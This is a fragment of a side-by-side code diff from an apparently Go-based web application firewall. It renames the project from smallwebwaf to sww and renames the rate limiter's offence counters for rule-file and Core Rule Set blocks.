// New returns a Limiter for limits, with no client counted yet, whose // New returns a Limiter for limits, with no client counted yet, whose
// table holds at most maxClients clients (SWWAF_MAX_TRACKED_CLIENTS). Past // table holds at most maxClients clients (SWW_MAX_TRACKED_CLIENTS). Past
// it, the least recently seen client is dropped, with its history, and // it, the least recently seen client is dropped, with its history, and
// starts afresh if it comes back. // starts afresh if it comes back.
func New(limits Limits, maxClients int) *Limiter { func New(limits Limits, maxClients int) *Limiter {
@@ -258,7 +259,7 @@ func (l *Limiter) CountBytes(
return l.count(client, now, 0, bytes, percent) return l.count(client, now, 0, bytes, percent)
} }
// CountRefusal counts a request from client at now that smallwebwaf // CountRefusal counts a request from client at now that sww
// refused after a rule file or Core Rule Set match or for a missing or // refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute // wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than threshold, which // that ends at now, this one included, are more than threshold, which
@@ -323,12 +324,12 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
h.Offences.Attack++ h.Offences.Attack++
} }
if r.RuleBlocked { if r.BlockedByBlockRule {
h.Offences.RuleBlocked++ h.Offences.BlockedByBlockRule++
} }
if r.WAFBlocked { if r.BlockedByCoreRuleSet {
h.Offences.WAFBlocked++ h.Offences.BlockedByCoreRuleSet++
} }
} }
Loaded 100 of 146 files, more files were not shown because too many files have changed in this diff. Show more